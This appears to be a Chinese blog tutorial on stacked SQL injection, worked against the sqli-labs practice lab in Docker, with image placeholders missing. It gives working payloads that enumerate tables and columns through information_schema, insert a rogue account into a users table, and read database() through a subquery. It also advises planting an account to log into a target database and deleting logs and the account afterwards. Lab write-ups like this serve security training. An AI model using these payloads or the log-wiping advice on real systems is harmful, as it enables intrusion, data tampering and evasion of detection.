8.堆叠注入

原理
这种注入手法可以对数据库进行增删改查
而不是像之前一样只能查询数据
0
 
0
启动靶场
sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
 
0
注入利用
0
开始试探
0
 
0
 
0
两次试探返回不一样,可能存在注入
试探结束
0
提取库中的所有的表
?id=-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
0
四个表:
emails
referers
uagents
users
 
获取指定表中所有的字段
?id=-999' union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1)%23
0
三个字段:
id
username
password
创建临时账户
0
这个账户创建后,可以利用这个账户直接登录对方数据库,当离开时,将日志和这个账户删除即可
账号创建
账号名baiyang,密码123456,位置为users表的20号位置
?id=1';insert into users(id,username,password)values(20,'baiyang','123456')%23
创建成功
0
查看结果
0
账号插入成功
查询已有账号和密码
0
将查询结果作为一个账号插入到数据库users表的第22行,然后让数据库直接正常返回第22行的数据,得到想要的子查询结果
将正常账号位改为子查询语句
select database()
修改查询ID
0
插入并查询成功
0
当前连接的数据库名为security
posted @ 2023-11-11 10:34  白牧羊人  阅读(6)  评论(0编辑  收藏  举报